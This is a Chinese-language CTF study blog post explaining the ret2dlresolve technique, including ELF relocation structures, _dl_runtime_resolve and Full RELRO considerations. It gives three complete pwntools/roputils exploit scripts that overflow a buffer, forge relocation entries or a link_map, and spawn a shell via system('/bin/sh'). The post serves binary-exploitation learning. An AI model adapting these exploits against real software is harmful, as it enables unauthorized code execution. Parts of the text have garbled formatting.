ret2_reslove
发表于:2021-09-06 |
字数统计: 2.4k | 阅读时长: 10分钟 | 阅读量:

ret2_reslove学习笔记

ret2_reslove这个高级利用之前一直没有太认真的去学,直到我碰到了一个没有输出函数的栈题,无法获得任何libc等其他地址信息,并且也没有gadget(比如pop edx)能够利用,因此我想到了ret2_reslove,这个高级rop可以在没有输出函数的情况下更换函数信息,拿到shell。

原理:在 Linux 中,程序使用 _dl_runtime_resolve(link_map_obj, reloc_offset) 来对动态链接的函数进行重定位。那么如果我们可以控制相应的参数及其对应地址的内容是不是就可以控制解析的函数了呢?答案是肯定的。这也是 ret2dlresolve 攻击的核心所在。

具体的,动态链接器在解析符号地址时所使用的重定位表项、动态符号表、动态字符串表都是从目标文件中的动态节 .dynamic 索引得到的。所以如果我们能够修改其中的某些内容使得最后动态链接器解析的符号是我们想要解析的符号,那么攻击就达成了。

我们看一下.dynamic 的内容:

DT_STRTAB => .dynstr DT_SYMTAB => .dynsym DT_JMPREL => .rel.plt

image-20210906094913872

:
1
2
3

![image-20210906095627014]( https://le1a-1308465514.cos.ap-shanghai.myqcloud.com/2023/02/07/b9d68697a3237.png )

typedef struct
{
Elf32_Addr r_offset; //指向GOT表的指针,用于拿到真实地址后填入
Elf32_Word r_info;
//一些关于导入符号的信息,我们只关心从第二个字节开始的值((val)>>8),忽略那个07
//1和3是这个导入函数的符号在.dynsym中的下标,.dynsym+(r_info>>8)即可得到函数对应的dynsym结构体
} Elf32_Rel;

1
2
3
4
5

```.dymsym```

![image-20210906100407603]( https://le1a-1308465514.cos.ap-shanghai.myqcloud.com/2023/02/07/f635fcc7816d3.png )

typedef struct elf32_sym
{
Elf32_Word st_name; //符号名,是相对.dynstr起始的偏移,.dynstr+st_name即可得到函数名
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info; //对于导入函数符号而言,它是0x12
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0

typedef struct elf64_sym
{
Elf64_Word st_name; // 符号名称,字符串表中的索引
// STT_OBJECT表示符号关联到一个数据对象,如变量、数组或指针;
// STT_FUNC表示符号关联到一个函数;
// STT_NOTYPE表示符号类型未指定,用于未定义引用
unsigned char st_info; // 类型和绑定属性:STB_LOCAL/STB_GLOBAL/STB_WEAK;
unsigned char st_other; // 语义未定义,0
Elf64_Half st_shndx; // 相关节的索引,符号将绑定到该节,此外SHN_ABS指定符号是绝对值,不因重定位而改变,SHN_UNDEF标识未定义符号。
Elf64_Addr st_value; // 符号的值
Elf64_Xword st_size; // 符号的长度,如一个指针的长度或struct对象中包含的字节数。
}Elf64_Sym;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

```.dynstr``` :存放着导入函数的函数名,依据函数名获得函数真实地址。

![image-20210906101152393]( https://le1a-1308465514.cos.ap-shanghai.myqcloud.com/2023/02/07/a306a135dc082.png )

### _dl_runtime_resolve 会干什么?

_dl_runtime_resolve 会

1. 用 link_map (第一个参数) 访问.dynamic,取出.dynstr, .dynsym, .rel.plt 的指针
2. .rel.plt + Offset (第二个参数),求出当前函数的在重定位表项 (.rel.plt) 中 Elf32_Rel 具体位置 (指针),记作 rel
3. rel->r_info >> 8 作为.dynsym 的下标,求出当前函数在符号表项 (.dynsym) 中 Elf32_Sym 的具体位置 (指针),记作 sym
4. .dynstr + sym->st_name,得到符号名字符串指针
5. 在动态链接库查找这个字符串对应的函数的地址,并且把地址赋值给 * rel->r_offset,即 GOT 表
6. 调用这个函数

### 利用

**1.(No RELRO) 直接改写.dynstr**
直接改写.dynstr 中对应函数字符串内容为我们想要的内容。比如修改 free 为 system,这样 free (buf) 的时候,如果 buf 的内容是 "/bin/sh", 那么就实现了 system ("/bin/sh")。

**2.(开启但不完全开启),伪造reloc_index**

修改_dl_runtime_resolve第二个参数的值,其第二个参数reloc_index是用来确定对应函数的.rel.plt的地址,因此我们可以将其改为我们伪造的.rel.plt的地址,又因为.rel.plt结构体包含两个变量```r_offset``` 和```r_info``` ,因此我们在```r_offset``` 处填上要修改的函数的got地址, ```r_info``` 填入```(r_sym<<8)+(r_type&0xff)``` ,其中r_sym又可以确定对应函数的.dynsym的地址,其中包含st_name可以确定.dynstr的地址,在.dynstr的地址上写入system这样\_dl_runtime_solve可以根据’system‘字符串找到system函数的地址填入到got表中,这样就改变了函数的got表。

exp:

from pwn import *
io = process(‘./pwn200’)
elf=ELF(‘./pwn200’)
context.log_level=’debug’
read_plt=elf.plt[‘read’]
strlen_plt=elf.plt[‘strlen’]
strlen_got=elf.got[‘strlen’]
pppr=0x08048609
pop_ebp=0x0804860b
leaver=0x804851D
plt_0=elf.get_section_by_name(‘.plt’).header.sh_addr
rel_plt=elf.get_section_by_name(‘.rel.plt’).header.sh_addr
dynsym=elf.get_section_by_name(‘.dynsym’).header.sh_addr
dynstr=elf.get_section_by_name(‘.dynstr’).header.sh_addr
bss_addr=elf.get_section_by_name(‘.bss’).header.sh_addr+0x600
def exp():
io.recvuntil(‘Gleaf!\n’)
payload=’a’*0x6c+p32(bss_addr)+p32(read_plt)+p32(pppr)+p32(0)+p32(bss_addr)+p32(100)
payload+=p32(pop_ebp)+p32(bss_addr)+p32(leaver)
io.send(payload)

reloc_index=bss_addr+0x14-rel_plt
r_sym=(bss_addr+0x38-dynsym)/0x10

r_type=0x7    
r_info=(r_sym<<8)+(r_type&0xff)
print(hex(r_info))
fake_rel=p32(strlen_got)+p32(r_info)

st_name=bss_addr+0x48-dynstr
fake_sym=p32(st_name)+p32(0)+p32(0)+p32(0x12)

payload='aaaa'#new ebp
payload+=p32(plt_0)+p32(reloc_index)+'aaaa'+p32(bss_addr+0x54)
payload+=fake_rel
payload+='aaaa'*7
payload+=fake_sym
payload+='system\x00'
payload+='bbbbb'
payload+='/bin/sh\x00'
payload=payload.ljust(100,'a')
gdb.attach(io)
io.sendline(payload)
io.interactive()

exp()

1
2
3
4
5

**3.伪造link_map**

我们伪造link_map,让**sym->st_value为某个已经解析了的函数的地址**,比如read,让l->l_addr为我们需要的函数(system)到read的偏移,这样,l->l_addr + sym->st_value就是我们需要的函数地址。

if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) {

} else {
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}

1

typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index) /
unsigned char st_info; /
Symbol type and binding /
unsigned char st_other; /
Symbol visibility /
Elf64_Section st_shndx; /
Section index /
Elf64_Addr st_value; /
Symbol value /
Elf64_Xword st_size; /
Symbol size */
} Elf64_Sym;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

如果,我们把read_got – 0x8处开始当成sym,那么sym->st_value就是read的地址,并且sym->st_other正好也不为0,绕过了if。

为了伪造link_map,我们需要知道link_map的结构,在glibc/include/link.h文件里,link_map结构比较复杂,但是,我们只需伪造需要用到的数据即可。

我们需要伪造这个数组里的几个指针,它们分别是

DT_STRTAB指针:位于link_map_addr +0x68(32位下是0x34)

DT_SYMTAB指针:位于link_map_addr + 0x70(32位下是0x38)

DT_JMPREL指针:位于link_map_addr +0xF8(32位下是0x7C)

exp:

#coding:utf8
from pwn import *

sh = process(‘./test-64’)
elf = ELF(‘./test-64’)
libc = elf.libc
context.log_level=’debug’
read_plt = elf.plt[‘read’]
read_got = elf.got[‘read’]
fun_addr = elf.sym[‘fun’]

#bss段
bss = 0x601038

l_addr = libc.sym[‘system’] - libc.sym[‘read’]
#注意,只要是可读写的内存地址即可,调试看看就知道了
r_offset = bss + l_addr * -1

#负数需要补码
if l_addr < 0:
l_addr = l_addr + 0x10000000000000000

pop_rdi = 0x4005c3
#pop rsi ; pop r15 ; ret
pop_rsi = 0x4005c1
#用于解析符号dl_runtime_resolve
plt_load = 0x4003f6

#第一次继续调用read输入伪造的数据结构,然后再一次调用fun来输入rop
payload = ‘a’*0x28 + p64(pop_rsi) + p64(bss + 0x100) + p64(0) + p64(pop_rdi) + p64(0) + p64(read_plt) + p64(fun_addr)

sh.sendline(payload)
raw_input()
#真正的dynstr的地址
dynstr = 0x400318
#我们准备把link_map放置在bss+0x100处
fake_link_map_addr = bss + 0x100
#假的dyn_strtab
fake_dyn_strtab_addr = fake_link_map_addr + 0x8
fake_dyn_strtab = p64(0) + p64(dynstr) #fake_link_map_addr + 0x8
#假的dyn_symtab,我们要让对应的dynsym里的st_value指向一个已经解析过的函数的got表
#其他字段无关紧要,所以,我们让dynsym为read_got - 0x8,这样,相当于把read_got - 0x8处开始当做一个dynsym,这样st_value正好对应了read的地址
#并且(*(sym+5))&0x03 != 0也成立
fake_dyn_symtab_addr = fake_link_map_addr + 0x18
fake_dyn_symtab = p64(0) + p64(read_got - 0x8) #fake_link_map_addr + 0x18
#假的dyn_rel
fake_dyn_rel_addr = fake_link_map_addr + 0x28
fake_dyn_rel = p64(0) + p64(fake_link_map_addr + 0x38) #fake_link_map_addr + 0x28
#假的rel.plt
fake_rel = p64(r_offset) + p64(0x7) + p64(0) #fake_link_map_addr + 0x38
#l_addr
fake_link_map = p64(l_addr)
#由于link_map的中间部分在我们的攻击中无关紧要,所以我们把伪造的几个数据结构也放当中
fake_link_map += fake_dyn_strtab
fake_link_map += fake_dyn_symtab
fake_link_map += fake_dyn_rel
fake_link_map += fake_rel
fake_link_map = fake_link_map.ljust(0x68,’\x00’)
#dyn_strtab的指针
fake_link_map += p64(fake_dyn_strtab_addr)
#dyn_strsym的指针
fake_link_map += p64(fake_dyn_symtab_addr) #fake_link_map_addr + 0x70
#存入/bin/sh字符串
fake_link_map += ‘/bin/sh’.ljust(0x80,’\x00’)
#在fake_link_map_addr + 0xF8处,是rel.plt指针
fake_link_map += p64(fake_dyn_rel_addr)

sh.sendline(fake_link_map)
#sleep(1)
raw_input()
gdb.attach(sh)
#现在,我们伪造好了link_map,那么,我们就可以来解析system了
rop = ‘A’*0x28 + p64(pop_rdi) + p64(fake_link_map_addr + 0x78) + p64(plt_load) + p64(fake_link_map_addr) + p64(0)
sh.sendline(rop)

sh.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13

**4.full relro**

程序在运行之前就已经调用了ld.so将所需的外部函数加载完成,程序运行期间不再动态加载,因此,在程序的got表中,link_map和dl_runtime_resolve函数的地址都为0,因为后续不再使用,没有必要。

因此在FULL_RELRO的情况下,要想利用ret2dl-runtime-resolve技术,就只能在栈中低位覆盖数据一定几率恢复出dl_runtime_resolve。

比如在glibc2.27下,我们低位覆盖这个数据,有很大几率指向dl_runtime_resolve函数的地址,然后,link_map我们可以在我们可控的地方伪造。

这里,介绍一种其他的方法来针对FULL_RELRO的方案来getshell,那就是低位覆盖栈中数据一定几率指向syscall,构造execve(“/bin/sh”,0,0)系统调用。要构造这样的ROP,其他gadget容易搞定,关键是edx必须为0,不然调用会出错,然而,pop edx或pop rdx这样的gadget基本没有,因此,我们可以ret2csu,来控制edx。

**工具自动化生成**

from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
r = process(‘./pwn200’)
context.log_level = ‘debug’
r.recv()

rop = ROP(‘./pwn200’)
offset = 112
bss_base = rop.section(‘.bss’)+0x500
buf = rop.fill(offset)

buf += rop.call(‘read’, 0, bss_base, 100)

used to call dl_Resolve()

buf += rop.dl_resolve_call(bss_base + 40, bss_base)
r.send(buf)

buf = rop.string(‘/bin/sh’)
buf += rop.fill(40, buf)

used to make faking data, such relocation, Symbol, Str

buf += rop.dl_resolve_data(bss_base + 40, ‘system’)
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()

```

参考

https://blog.csdn.net/seaaseesa/article/details/104478081

上一篇:
storm
下一篇:
xiangyuncup